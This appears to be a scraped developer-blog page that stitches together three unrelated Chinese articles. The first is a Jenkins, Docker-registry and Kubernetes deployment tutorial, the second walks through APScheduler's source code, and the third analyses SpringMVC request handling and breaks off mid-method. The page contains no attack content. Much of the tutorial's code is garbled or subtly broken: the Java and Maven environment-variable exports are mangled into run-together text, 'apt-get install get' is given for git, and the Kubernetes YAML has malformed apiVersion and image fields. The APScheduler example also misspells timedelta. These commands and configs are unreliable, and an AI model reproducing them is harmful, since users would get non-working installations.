发表于

这是我参与11月更文挑战的第28天，活动详情查看：2021最后一次更文挑战」

一. 在node节点上安装软件. 具体软件内容如下

1
2
3
4
5
arduino复制代码1. 下载jdk

下载tar包,上传到node https://pan.baidu.com/s/18IicPYf7W0j-sHBXvfKyyg

  配置环境变量

export JAVA_HOME=/home/jdk1.8.0_161

export JRE_HOME=JAVAHOME/jre exportCLASSPATH=.:{JAVA_HOME}/jre
export CLASSPATH=.:JAVAH​OME/jre exportCLASSPATH=.:{JAVA_HOME}/lib:JREHOME/lib exportPATH=.:{JRE_HOME}/lib
export PATH=.:JREH​OME/lib exportPATH=.:{JAVA_HOME}/bin:$PATH

1
复制代码

复制代码

1
2
bash复制代码2. 下载tomcat,  到node的/home目录下
wget https://mirror.bit.edu.cn/apache/tomcat/tomcat-9/v9.0.34/bin/apache-tomcat-9.0.34.tar.gz

复制代码

1
2
3
4
5
6
7
bash复制代码3. 下载jenkins 到/home
wget http://mirrors.jenkins-ci.org/war/latest/jenkins.war

将jenkins的war放到tomcat的webaap目录下
mv jenkins.war /home/tomcat9/webapps

启动tomcat
1
复制代码

复制代码

1
2
arduino复制代码4. 下载git,  直接在node执行命令
apt-get install get

复制代码

1
2
3
4
5
6
bash复制代码5. 下载maven,  到/home目录
wget https://mirror.bit.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

解压, mv maven... maven3

配置环境变量

export M2_HOME=/home/maven3

export CLASSPATH=CLASSPATH:CLASSPATH:CLASSPATH:M2_HOME/lib

export PATH=PATH:PATH:PATH:M2_HOME/bin

1
2
3
4
5
6
7
8
9
xml复制代码

修改maven仓库, maven3/conf/settings.xml
　　<mirror>
　　　　<id>alimaven</id>
　　　　<name>aliyun maven</name>
　　　　<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
　　　　<mirrorOf>*</mirrorOf>
　　</mirror>

复制代码

二. jenkins配置

  1. 在浏览器输入http://192.168.1.104:8080/jenkins/

然后, 在服务器找到初始密码, 填入

  1. 选择手动安装插件

  1. 选择安装的插件
1
2
3
4
bash复制代码
ssh/publish over ssh
git/git parameter
maven Integration plugin

手动添加maven插件

管理–>插件管理–>搜索maven Integration

  1. jenkins全局工具配置中, 配置jdk/git/maven

进入系统配置–>全局工具配置

配置jdk和git

三. jenkins + k8s发布实例

三个目标:

  • Registry安装配置和使用
  • jenkins项目创建和配置
  • jenkins项目构建
  1. docker的Registry的安装和配置

在node节点上, 获取registry镜像

1
复制代码docker pull registry

启动容器

1
arduino复制代码docker run -p 5000:5000 -v /home/registry_images:/var/lib/registry -d registry

这里将registry挂载到了本地目录, 避免docker重启后, 镜像丢失

  1. registry的使用

修改master机器上的registry容器为所在的宿****主机

1
bash复制代码/etc/docker/daemon.json
1
2
3
perl复制代码{
   "insecure-registries":["192.168.1.104:5000"], //修改为registry所在容器的宿主机 "registry-mirrors": ["https://w52p8twk.mirror.aliyuncs.com"]
}

我的registry在node节点上, node的ip是192.168.1.104

重启docker

1
2
复制代码systemctl daemon-reload
systemctl restart docker

下载一个nginx并上传到Registry仓库

1
2
3
4
bash复制代码领取nginx镜像
docker pull nginx
改名
docker tag nginx 192.168.1.104:5000/nginx:test

尝试把 192.168.1.104:5000/nginx:test上传到我们的Registry仓库

1
bash复制代码docker push 192.168.1.104:5000/nginx:test

可以成功push, 说明我们的仓库是创建成功了.

下面在node上做同样的操作. 修改/etc/docker/daemon.json文件

1
2
3
4
json复制代码{
  "insecure-registries":["192.168.1.104:5000"],
  "registry-mirrors": ["https://w52p8twk.mirror.aliyuncs.com"]
}

重启docker

1
2
复制代码systemctl daemon-reload
systemctl restart docker
  1. 在Jenkins上构建项目

复制代码

1
2
3
4
5
markdown复制代码构建的整体流程:
1. 设置参数化构建
2. 设置代码库的地址
3. 设置maven的构建命令, 执行后会打包出一个jar包, 将jar打包成一个动态镜像, 并推到镜像仓库中
4. 将应用部署的yaml文件拷贝到k8s的master节点上, 然后执行命令, 让k8s根据yaml文件启动应用

复制代码

  • 创建一个maven项目

  • 勾选丢弃旧的构建, 保持构建的天数为2天, 最大构建个数为2个

  • 勾选参数化构建, 选择git参数, 名称填写branch , 参数类型是分支或标签

目的是: 可以根据分支进行构建.或者标签进行构建

github.com/solochen84/…

  • 下面开始构建项目

项目地址: github.com/solochen84/…

git项目地址: github.com/solochen84/…

这个项目是public的, 所以, 不需要配置Credentials

  • 添加maven构建

  • 设置构建后, 将jar包打包成docker镜像, 并推送到Registry

设置构建完之后执行的动作

脚本内容

1
2
3
4
5
6
7
8
9
bash复制代码#!/bin/sh

jarName=spring-boot-demo-0.0.1-SNAPSHOT.jar
jarFolder=ph
projectName=ph

docker_path=${WORKSPACE}
cp ${WORKSPACE}/target/${jarName} ${docker_path}
sh /root/docker_dir/deploy_docker.sh ${projectName} ${docker_path} ${jarName}
1
2
3
javascript复制代码创建deploy_docker文件. 目录: /root/docker_dir/deploy_docker.sh. 文件内容如下

设置文件的可执行
1
复制代码权限
1
bash复制代码chmod 775 deploy_docker.sh

deploy_docker.sh文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bash复制代码#!/bin/sh
# maven01 $workspace $jarname
# ${projectName} ${docker_path} ${jarName}

set -e
projectName=$1
docker_path=$2
appName=$3

#user_name=
#password=

tag=$(date +%s)
server_path=192.168.1.104:5000
target_image=${projectName}:${tag}
#${BUILD_NUMBER}
echo ${target_image}

cd ${docker_path}

docker build --build-arg app=${appName} -t ${target_image} .

docker tag ${target_image} ${server_path}/${projectName}
echo The name of image is "${server_path}/${target_image}"

  • 设置jenkins服务器到k8s master ssh免密登录

设置了免密登录, jenkins就可以到k8s上运行脚本, 执行命令

    • 在jenkins所在服务器上执行
1
2
3
4
5
css复制代码生成秘钥
ssh-keygen -t rsa 

拷贝公钥
ssh-copy-id -i  ~/.ssh/id_rsa.pub root@192.168.1.106
    • 测试免密登录

ssh root@192.168.1.106

  • 设置构建后操作, 将yaml文件拷贝到k8s master 上并运行应用

yaml文件的位置, 是在项目里面的. 

1
2
3
4
5
6
7
bash复制代码set -e
echo ok
echo ${WORKSPACE}
docker_path=${WORKSPACE}
scp ${WORKSPACE}/*.yaml 192.168.1.106:/root/
ssh 192.168.1.106 '/usr/bin/kubectl apply -f /root/kube.yaml'
ssh 192.168.1.106 '/usr/bin/kubectl get svc|grep maven'

这里的ip地址填master的ip地址

  • Jenkins项目构建

构建的过程中, 会出现各种各样的问题

  1. no matches for kind “Deployment” in version “extensions/v1beta1”

参考文章: www.cnblogs.com/nnylee/p/11…

修改对应的shell脚本

1
2
3
4
5
6
7
8
9
bash复制代码set -e
echo ok
echo ${WORKSPACE}
docker_path=${WORKSPACE}
scp ${WORKSPACE}/*.yaml 192.168.1.106:/root/
ssh 192.168.1.106 'sed -i "s|extensions/v1beta1|apps/v1|" /root/kube.yaml'
ssh 192.168.1.106 'sed -i "s|192.168.0.108|192.168.1.104|" /root/kube.yaml'
ssh 192.168.1.106 '/usr/bin/kubectl apply -f /root/kube.yaml --validate=false' 
ssh 192.168.1.106 '/usr/bin/kubectl get svc|grep maven'
  1. spec.template.metadata.labels: Invalid value: map[string]string{“app”:”maven”}: selector does not match template labels.

Build step ‘Execute shell’ marked build as failure

参考的是这篇文章: www.cnblogs.com/robinunix/p…

我修改后的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
yaml复制代码apiVersion: v1
kind: Service
metadata:
  name: maven-service
spec:
  type: NodePort
  ports:
  - name: maven
    port: 8080
    nodePort: 31002
    targetPort: 8080
    protocol: TCP
  selector:
    app: maven
---
apiVersion: apps / v1
kind: Deployment
metadata:
   #name: maven-deployment
  name: maven
spec:
  selector:
    matchLabels:
      app: maven
  replicas: 1
  template:
    metadata:
      labels:
        app: maven
    spec:
      containers:
        - name: maven
          image: 192.168.1.104:5000/ maven:latest
          ports:
          - containerPort: 8080
          env:
            - name: key
              value: "value"

复制代码

然后重新启动, 成功!

1
sql复制代码kubectl get deployments --all-namespaces

发现,name为maven的deployment的Ready状态是0个

查看pod

1
sql复制代码kubectl get pod --all-namespaces

发现有一个pending状态

查看pod的日志

1
sql复制代码 kubectl describe pod maven-7589958577-5ms68 -n default

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

「这是我参与11月更文挑战的第7天，活动详情查看：2021最后一次更文挑战」

前记

最近由于账单提交和脚本过多不好控制的原因,一直在寻找解决方案,发现APScheduler比较轻量级以及适合我的账单提交,和脚本运行控制(如果脚本运行需要依赖的话就可以上AirFlow).为了弄清楚原理,以及更好的使用APScheduler,所以阅读了APScheduler代码.其实是APScheduler代码量比较少的分析起来才容易(逃)

不过apscheduler有一个致命的缺点, 除,由于apscheduler的实现比较简单, 在初始化时, 能达到分布式work的效果外, 在运行时增加任务时, 并不会同步到每个work.

注: 为了节省篇幅,下面分析代码时大多数是只贴github的源码链接,并加以说明,源码是APscheduler第三版

最新修订见原文, 关注公众号<博海拾贝diary>可以及时收到新推文通知

1.主体逻辑

1.1代码结构

首先看看APScheduler的代码结构,除了job,event,util这几个简单的封装外,APScheduler中的组件都各自一个文件夹

1
2
3
4
5
6
7
8
bash复制代码├── executors      执行器,用于执行任务
├── jobstores      储存器,用于存放任务
├── schedulers     调度器,用于调度任务实例,由执行器,存储器,触发器三个组件构成
├── triggers       触发器,用于设定触发任务的条件
├── __init__.py
├── events.py      事件,调度器触发时的事件封装
├── job.py         job,对添加的任务进行封装,方便调度器调用
└── util.py        工具包,apscheduler一些常用函数封装

1.2简单的例子

看完了代码结构,会觉得APScheduler代码并不复杂,但是APScheduler大量的用到了Python动态语言的特性,一个一个看可能比较懵,所以需要找一个切入点开始进入APScheduler的代码世界,而这个切入点就是从一个简单的例子开始.先看APScheduler的Hello World级别的入门代码:

1
2
3
4
5
6
7
8
9
10
Python复制代码from datetime import datetime,timedelta
from apscheduler.schedulers.blocking import BlockingScheduler

scheduler = BlockingScheduler()  # 1

def so1n_job(text):   # 2
    print(text)

scheduler.add_job(so1n_job, 'date', run_date=datetime.now() + timeelta(hours=1), args=['test'])   # 3
scheduler.start()   # 4

这个简单的代码如要做如下步骤:

  • 1.实例化一个scheduler,这里使用的是BlockingScheduler,它在运行时会阻塞代码
  • 2.为了演示而创建的简单job函数,只执行print功能
  • 3.通过scheduler的add_job方式添加job, 同时定义了date触发器和触发时间以及运行job时的参数, 这里定义的是一小时后执行任务.
  • 4.开始运行scheduler,检查和执行调度.

1.3 初始化scheduler

在实例化scheduler时,会先把其他三个组件加载到自己的父属性[源码]:(github.com/agronholm/a…)

1
2
3
4
5
6
Python复制代码    _trigger_plugins = dict((ep.name, ep) for ep in iter_entry_points('apscheduler.triggers'))
    _trigger_classes = {}
    _executor_plugins = dict((ep.name, ep) for ep in iter_entry_points('apscheduler.executors'))
    _executor_classes = {}
    _jobstore_plugins = dict((ep.name, ep) for ep in iter_entry_points('apscheduler.jobstores'))
    _jobstore_classes = {}

在实例化后,__init__会创建一些锁相关的属性以及调用configure方法初始化一些数据(在scheduler还没start前,我们也可以直接调用configure方法修改数据)

  • 加载配置,把所有数据加载到一个叫config的dict里面
  • 通过调用_configure初始化常用配置, 对于一些特定的scheduler, 还会初始化一些属性, 如background会初始化deamon, asyncio会初始化loop等:
+ logger,APScheduler运行时打日志的logger,默认为apscheduler.scheduler
+ timezone, 设置时区, 默认为本地时区. 对于调度系统来说时区是一个非常关键的参数, 特别是对于有冬夏令时的国家, 如果有做多国家业务的, 必须要用时区.
+ jobstore\_retry\_interval, 重试时间, 如果get\_due\_jobs()调用引发异常，则至少在设置n秒内进行一次新的唤醒
  • 同时也会创建创建job的默认配置:
+ misfire\_grace\_time,在指定的运行时之后几秒钟，仍允许运行该作业. 如果有个业务是指定一分钟后运行, 但apscheduler需要在两分钟后才有空闲运行该业务, 那么可以把`misfire_grace_time`的值设置为120+.
+ coalesce,为True时,即使调度程序确定该job可以运行多次，也只运行一次
+ max\_instances, apscheduler同时最大运行实例数.
  • 配置执行器executors以及它的插件,并启动执行器
  • 配置任务存储器jobstores以及它的插件,并启动任务存储器

1.4添加job

scheduler初始化完就可以开始添加job了,对于APScheduler来说,每个job的本体都是一个Python函数,在添加job本体的同时,顺便添加执行器,以及其他信息,如触发器,执行器,函数的参数,job的名称和id等,构成一个可以给scheduler调用的job.

不过在添加job的时候还有一个参数叫replace_existing,他不属于job的属性,当它为True时,scheduler会用相同的id替换已经存在的job,同时保留job的运行次数.还有存储器也不属于job的属性,只是让scheduler知道可以从该存储器可以获取到刚才添加的job.

例子中的job添加时,scheduler还未运行,所以会把job, jobstore, replace_existing拼成一个元祖,并存放到一个叫_pending_jobs的等待队列中.

如果job添加时scheduler还在运行,那就会进行如下一些处理(_real_add_job函数),把job真正的添加到调度系统中:

  • 1.如果此时的job没有下次运行时间,则为其创建下次运行时间
  • 2.调用job的_modify方法,当配置有效时更新job的配置
  • 3.把job添加到对应的store,或更新已经存在store里的job, 这里会调用store的_get_job_index通过二分法查找job需要插入对应的index中.
  • 4.如果scheduler正在运行, 则唤醒scheduler,看看新添加的job是否可以被调度(注意,此次唤醒会替换原本已经安排的唤醒计划)

注意, 上面第4步只会唤醒本身的apscheduler, 如果是多个worker,那么其他的apscheduler并不会被唤醒.

1.5开始运行scheduler

添加完job后,scheduler就可以开始运行了,通过调用scheduler的start开始处理任务.
在开始运行前,scheduler会先去检查是否在使用禁用线程的uWSGI环境下运行,只有检查通过后才能继续运行.

检查完毕后,scheduler会去进行一些初始化,首先scheduler会激活所有添加到scheduler的执行器,以便待会可以使用,同样激活所有添加到scheduler的储存器,以便待会可以使用.这里会把scheduler初始化时的_pending_jobs通过1.4添加job里面说到的_real_add_job函数,把job真正的添加到调度系统中.

初始化完成了,scheduler可以真正的开始去检查和调度job了,这一切都发生在scheduler的_process_jobs函数里,他会遍历每个作业存储器中的job，然后执行可以被调度的job，最后检查下次运行时间,apscheduler会休眠到下次运行时间在启动,防止一直运行导致浪费计算机资源,具体操作如下:

  • 1.遍历存储器,并从存储器的get_due_jobs方法找出比目前时间早的job列表,如果处理失败则会根据scheduler的jobstore_retry_interval生成下一次唤醒scheduler的时间.
  • 2.遍历并处理从步骤1拿到的job列表
    • 2.1.遍历步骤1的job列表,提取job的执行器,如果提取失败则从存储器中删除掉job.
    • 2.2.从job的_get_run_times方法获取介于现在时间到job的下一次运行时间中触发器可以触发的时间,并放在run_times列表中.
    • 2.3.调用执行器的submit_job方法,首先检查目前该job的执行实例数会不会大于或等于定义的max_instances,只有没超过定义的max_instances时,才会继续执行执行器的_do_submit_job方法,执行job.
    • 2.4.运行完毕job后,[计算job是否还有next_run_time,如果有更新job以及对应的存储器,如果没有则把job从存储器中移除
  • 3.执行完job后,算出存储器中最早的下次运行时间,并与next_wakeup_time比对,如果早于next_wakeup_time则把next_wakeup_time设置为存储器中最早的下次运行时间(992-997)
  • 4.处理队列中的event,并算出距离下次运行时间与现在时间的时间差wait_seconds,并让scheduler睡眠wait_seconds,防止cpu空转(999-1004).
  • 5.等待了wait_seconds后scheduler从步骤1继续开始执行操作.

则此,根据例子的主体逻辑代码分析已经分析完毕了,但是还有一些scheduler的方法,event,APScheduler的util以及APScheduler支持的gevent,async等库代码还没有分析.

2.源码分析

上一部分主要说的是APScheduler中的主要逻辑,简单的了解到APScheduler是如何运行的,以及运行时要做哪些操作,在说到主要函数时只说了是哪个模块下的哪个函数以及这个函数做了什么,对于一些细节并没有披露出来.而这一节不再跟着APScheduler的运行顺序进行分析,而是根据APScheduler的代码结构逐一分析里面的代码,从代码中了解APScheduler的原理,以及从APScheduler中吸收一些比较棒的idea.

2.1 executors

executors是apscheduler中的执行器,apscheduler为python中各种类型封装了executors,但核心的方法就只有几个,比较简单.

从scheduler获取资源和部分数据初始化,其余由其他封装实现

由其他封装实现,停用执行器并删除部分资源,如果任务并未完成,则会取消或清空任务

用于运行前的初始化和检查,主要用于检查当前job有多少实例正在运行,如果超出限制则抛出异常,未超出限制则执行_do_submit_job

由其他封装实现,负责运行job,并检查运行结果,成功则调用_run_job_success, 失败则调用_run_job_error

  • _run_job_success
    运行成功的后续操作
  • _run_job_error
    运行失败的后续操作

除此之外executors文件中还有一个叫run_job的函数,它才是正真用于执行job的函数,它除了调用job的func和处理异常外,还对任务是否错过运行窗口进行检查,比如任务应该在9.00-9.10间运行,然而直到9.15程序没有运行,那么apscheduler会抛出对应的错误event和job.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
python复制代码def run_job(job, jobstore_alias, run_times, logger_name):
    """
    Called by executors to run the job. Returns a list of scheduler events to be dispatched by the
    scheduler.
    """
    events = []
    logger = logging.getLogger(logger_name)
    for run_time in run_times:
        # 如果设置了,misfire_grace_time,且时间差在misfire_grace_time外,则超出了任务执行时间的时间窗口,放弃运行
        if job.misfire_grace_time is not None:
            difference = datetime.now(utc) - run_time
            grace_time = timedelta(seconds=job.misfire_grace_time)
            if difference > grace_time:
                events.append(JobExecutionEvent(EVENT_JOB_MISSED, job.id, jobstore_alias,
                                                run_time))
                logger.warning('Run time of job "%s" was missed by %s', job, difference)
                continue

        logger.info('Running job "%s" (scheduled at %s)', job, run_time)
        try:
            # 执行job
            retval = job.func(*job.args, **job.kwargs)
        except BaseException:
            exc, tb = sys.exc_info()[1:]
            formatted_tb = ''.join(format_tb(tb))
            events.append(JobExecutionEvent(EVENT_JOB_ERROR, job.id, jobstore_alias, run_time,
                                            exception=exc, traceback=formatted_tb))
            logger.exception('Job "%s" raised an exception', job)

            # 回收对象
            if six.PY2:
                sys.exc_clear()
                del tb
            else:
                import traceback
                traceback.clear_frames(tb)
                del tb
        else:
            events.append(JobExecutionEvent(EVENT_JOB_EXECUTED, job.id, jobstore_alias, run_time,
                                            retval=retval))
            logger.info('Job "%s" executed successfully', job)

    return events

2.2 JobStore

JobStore是apscheduler中的存储器,apscheduler为各种存储器做了封装,核心的JobStore比较简单,各个封装的功能都一样,只是具体逻辑跟对应的客户端相关.这里先以MemoryJobStore和BaseJobStore对JobStore的所有功能函数进行分析.

2.2.1 MemoryJobStore和BaseJobStore

  • start
    当apscheduler开始执行start或者job被添加到jobstores时,开始执行start,初始化scheduler以及jobstores的别名.
  • shutdown
    关闭对应stores的客户端链接或者清理内存回收空间.
  • _fix_paused_jobs_sorting 返回没有next_run_time属性的任务(或者说暂停的任务)
  • lookup_job 获取指定任务id的任务
  • get_due_jobs 返回早于next_run_time或等于now的任务列表,返回的任务必须按next_run_time（升序）进行排序
  • get_next_run_time 从存储器的所有job中获取最早运行的一个,由于在MemoryJobStore中对保存job的_jobs队列进行了排序维护,不管添加和删除都确保他是有序的,所以MemoryJobStore的get_next_run_time只要从_jobs[0]获取的job就是即将最早运行的job
  • get_all_jobs 从存储器中获取所有任务
  • add_job 向存储器添加任务
  • update_job 更新已经存储在存储器中的任务
  • remove_job 从存储器中删除指定的任务(根据job id)
  • remove_all_jobs 从存储器中删除所有任务
  • _get_job_index(MemoryJobStore特有方法) 通过二分法查找快速查找job的索引，或者如果找不到索引，则根据给定的时间戳记将job插入的索引。

2.2.2 其他JobStore

其他JobStore提供的功能也是与MemoryJobStore一样,但是由于各个存储容器/数据库不同,实现的逻辑都是不同,但原理还是一样的.Apschedulers除了MemoryJobStore外,通过把Job序列化存到JobStore中,使得job可以与add_job的进程分离,达到分布式调用的效果,但是由于每个Apschedulers并不会互相通信,所以可能存在多个Apschedulers获得到相同的Job,所以我们需要添加一个锁来解决该问题.

2.3 schedulers

schedulers是Apschedulers的调度器,负责Apschedulers的核心功能,所以在上面的主体逻辑中基本都说了,这里只说一些上面没提到的功能函数.

  • 状态

Apschedulers中提供以下三种状态，通过状态机切换状态使Apschedulers可以正确的启动停止，以及在_process_jobs中通过判断当前状态是否为STATE_PAUSED来实现暂停的功能

1
2
3
ini复制代码STATE_STOPPED = 0  # 停止
STATE_RUNNING = 1  # 运行
STATE_PAUSED = 2   #暂停
  • _process_jobs
    process_jobs函数为了处理job,函数比较长, 这里看实际代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Python复制代码    def _process_jobs(self):
        # 如果是暂停状态,则暂停运行
        if self.state == STATE_PAUSED:
            self._logger.debug('Scheduler is paused -- not processing jobs')
            return None
		
        self._logger.debug('Looking for jobs to run')
        now = datetime.now(self.timezone)
        next_wakeup_time = None
        events = []

        with self._jobstores_lock:
            # 获取存储job的jobstore
            for jobstore_alias, jobstore in six.iteritems(self._jobstores):
                try:
                    # 从jobstore中获取满足条件的job list
                    due_jobs = jobstore.get_due_jobs(now)
                except Exception as e:
                    # 计算该jobstore至少需要n秒内唤醒一次
                    self._logger.warning('Error getting due jobs from job store %r: %s',
                                         jobstore_alias, e)
                    retry_wakeup_time = now + timedelta(seconds=self.jobstore_retry_interval)
                    if not next_wakeup_time or next_wakeup_time > retry_wakeup_time:
                        next_wakeup_time = retry_wakeup_time

                    continue

                for job in due_jobs:
                    try:
                        # 获取job的存储器
                        executor = self._lookup_executor(job.executor)
                    except BaseException:
                        self._logger.error(
                            'Executor lookup ("%s") failed for job "%s" -- removing it from the '
                            'job store', job.executor, job)
                        # 从存储器中移除掉job
                        self.remove_job(job.id, jobstore_alias)
                        continue
					# 获取job的运行时间
                    run_times = job._get_run_times(now)
                    run_times = run_times[-1:] if run_times and job.coalesce else run_times
                    if run_times:
                        try:
                            # 运行job
                            executor.submit_job(job, run_times)
                        except MaxInstancesReachedError:
                            self._logger.warning(
                                'Execution of job "%s" skipped: maximum number of running '
                                'instances reached (%d)', job, job.max_instances)
                            # 提交job运行实例过大的event
                            event = JobSubmissionEvent(EVENT_JOB_MAX_INSTANCES, job.id,
                                                       jobstore_alias, run_times)
                            events.append(event)
                        except BaseException:
                            self._logger.exception('Error submitting job "%s" to executor "%s"',
                                                   job, job.executor)
                        else:
                            # 提交job运行成功的event
                            event = JobSubmissionEvent(EVENT_JOB_SUBMITTED, job.id, jobstore_alias,
                                                       run_times)
                            events.append(event)

                        # 如果有下一个执行时间，则更新job，否则将job从jobstore中删除。
                        job_next_run = job.trigger.get_next_fire_time(run_times[-1], now)
                        if job_next_run:
                            job._modify(next_run_time=job_next_run)
                            jobstore.update_job(job)
                        else:
                            self.remove_job(job.id, jobstore_alias)

                # 计算jobstore下次唤醒时间
                jobstore_next_run_time = jobstore.get_next_run_time()
                if jobstore_next_run_time and (next_wakeup_time is None or
                                               jobstore_next_run_time < next_wakeup_time):
                    next_wakeup_time = jobstore_next_run_time.astimezone(self.timezone)

        # 触发所有event
        for event in events:
            self._dispatch_event(event)

        # 计算下次运行时间
        if self.state == STATE_PAUSED:
            wait_seconds = None
            self._logger.debug('Scheduler is paused; waiting until resume() is called')
        elif next_wakeup_time is None:
            wait_seconds = None
            self._logger.debug('No jobs; waiting until a job is added')
        else:
            wait_seconds = min(max(timedelta_seconds(next_wakeup_time - now), 0), TIMEOUT_MAX)
            self._logger.debug('Next wakeup is due at %s (in %f seconds)', next_wakeup_time,
                               wait_seconds)

        return wait_seconds

2.4 triggers

首先BaseTrigger提供一个触发器的基本方法,用于给get_next_fire_time添加抖动时间,防止大量任务在同一时间运行.

1
2
3
4
5
6
7
8
9
10
11
12
Python复制代码    def _apply_jitter(self, next_fire_time, jitter, now):
        if next_fire_time is None or not jitter:
            return next_fire_time

		# 主要的代码,通过随机选择+-jitter值与next_fire_time进行和运算
        next_fire_time_with_jitter = next_fire_time + timedelta(
                seconds=random.uniform(-jitter, jitter))

        if next_fire_time_with_jitter < now:
        	# 如果新的时间值小于当前时间,则返回旧时间
            return next_fire_time
        return next_fire_time_with_jitter

而其他细节比较简单,各种触发器都是按照设置的时间进行运行,如果能算出下次运行时间,则在运行后按照下次运行时间继续运行,算不出下次运行时间该job将停止运行

2.5 job.py

job比较简单,主要是提供一些给scheduler调用的方法.
job的方法分为两大类,一类是类似于代理,通过调用scheduler的方法来修改自己本身,如modify,reschedule,pause,resume,remove.
这类方法比较简单,而且主要逻辑在于scheduler,不在于job,另外的就是主要逻辑在job的方法.如__getstate__以及__setstate__的序列化相关方法,同时还有一个_modify用来接受更新job的方法,虽然该方法很长,但主要逻辑也是各种判断再更新指

3.总结

表面上看APScheduler的代码会比较复杂,但经过拆解后,Apscheduler的代码除了scheduler的代码是非常简单的,主要是针对各种不同的运行环境而封装的代码比较多,导致在分析代码时,觉得这些代码经不起分析,但是APScheduler的核心设计还是很不错的.

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

1.前置知识

  • 本文是针对springMVC请求执行流程来分析，并不会设计到如何使用
  • SpringMVC大体执行流程图，网上很多图，从执行大局看基本上是一致，本文是基于大图分析每一步是如何执行，处理什么来进行分析。
    下图来源于网络：

image.png

  • 几个主要的类说明：
    • DispatcherServlet：前端控制器，是SpringMVC全局请求分发器，一个请求匹配前端控制器 DispatcherServlet 的请求映射路径(在 web.xml中指定), WEB 容器将该请求转交给 DispatcherServlet 处理
    • DispatcherServlet 接收到请求后, 将根据 请求信息 交给 处理器映射器 （HandlerMapping）
    • HandlerMapping 根据用户的url请求 查找匹配该url的 Handler，并返回一个执行链
    • DispatcherServlet 再请求 处理器适配器(HandlerAdapter) 调用相应的 Handler 进行处理并返回 ModelAndView 给 DispatcherServlet
    • DispatcherServlet 将 ModelAndView 请求 ViewReslover（视图解析器）解析，返回具体 View
    • DispatcherServlet 对 View 进行渲染视图（即将模型数据填充至视图中）
  • 相关类说明：
    • DispatcherServlet 将页面响应给用户
    • DispatcherServlet：前端控制器
    • HandlerMapping：处理器映射器
    • Handler：处理器
    • HandlAdapter：处理器适配器
    • ViewResolver：视图解析器
    • View：视图

2.源码分析流程图

SpringMvc请求执行.png
上图是后续本文分析源码的流程

3.源码分析

3.1 SpringMVC入口分析

首先请求进来，会先经过一系列过滤器，最后到底FrameworkServlet的service方法，该类是DispatcherServlet的父类，也可以说是先到DispatcherServlet,下面看以下service方法到底会做那些操作：

  1. 判断请求类型是否是null、PATCH，如果是则直接进入processRequest方法，否则调用父类service即httpServlet

FrameworkServlet:

1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码@Override
protected void service(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, IOException {
   //这里获取请求的类型，判断请求是否是null或者Patch如果是直接进入ProcessRequest方法,否则调用父类的service方法
   HttpMethod httpMethod = HttpMethod.resolve(request.getMethod());
   if (httpMethod == HttpMethod.PATCH || httpMethod == null) {
      processRequest(request, response);
   }
   else {
   //调用父类HttpServlet
      super.service(request, response);
   }
}

HttpServlet中的service：
HttpServlet的service主要操作：
1.判断请求类型，进行调用不同的请求类型的处理方法doGet、doPost等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
scss复制代码protected void service(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {
    //获取请求方法
    String method = req.getMethod();
    //判断类型如果是get请求则调doGet
    if (method.equals(METHOD_GET)) {
        long lastModified = getLastModified(req);
        if (lastModified == -1) {
            doGet(req, resp);
        } else {
            long ifModifiedSince;
            try {
                ifModifiedSince = req.getDateHeader(HEADER_IFMODSINCE);
            } catch (IllegalArgumentException iae) {
                ifModifiedSince = -1;
            }
            if (ifModifiedSince < (lastModified / 1000 * 1000)) {
                maybeSetLastModified(resp, lastModified);
                doGet(req, resp);
            } else {
                resp.setStatus(HttpServletResponse.SC_NOT_MODIFIED);
            }
        }
 //判断类型如果是HEAD请求则调doHead
    } else if (method.equals(METHOD_HEAD)) {
        long lastModified = getLastModified(req);
        maybeSetLastModified(resp, lastModified);
        doHead(req, resp);

    } else if (method.equals(METHOD_POST)) {
        doPost(req, resp);
    }
    省略部分....
}

具体的doPost、doGet等方法其实在FrameworkServlet中实现的，最终不同的请求类型调用不同方法做完处理之后都会调用processReqest方法
下面简单看FrameworkServlet中doGet和doPost中的实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
java复制代码@Override
protected final void doGet(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, IOException {
//最终调用processRequest方法
   processRequest(request, response);
}

/**
 * Delegate POST requests to {@link #processRequest}.
 * @see #doService
 */
@Override
protected final void doPost(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, IOException {
//最终调用processRequest方法
   processRequest(request, response);
}

3.2 ProcessRequest方法分析

该方法主要三件事：

  1. 初始化web管理器以及注册回调拦截器
  2. 调用doService执行具体逻辑
  3. 通过事件推送吧结果输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ini复制代码protected final void processRequest(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, IOException {

   long startTime = System.currentTimeMillis();
   Throwable failureCause = null;

   LocaleContext previousLocaleContext = LocaleContextHolder.getLocaleContext();
   LocaleContext localeContext = buildLocaleContext(request);

   RequestAttributes previousAttributes = RequestContextHolder.getRequestAttributes();
   ServletRequestAttributes requestAttributes = buildRequestAttributes(request, response, previousAttributes);

   WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
   asyncManager.registerCallableInterceptor(FrameworkServlet.class.getName(), new RequestBindingInterceptor());

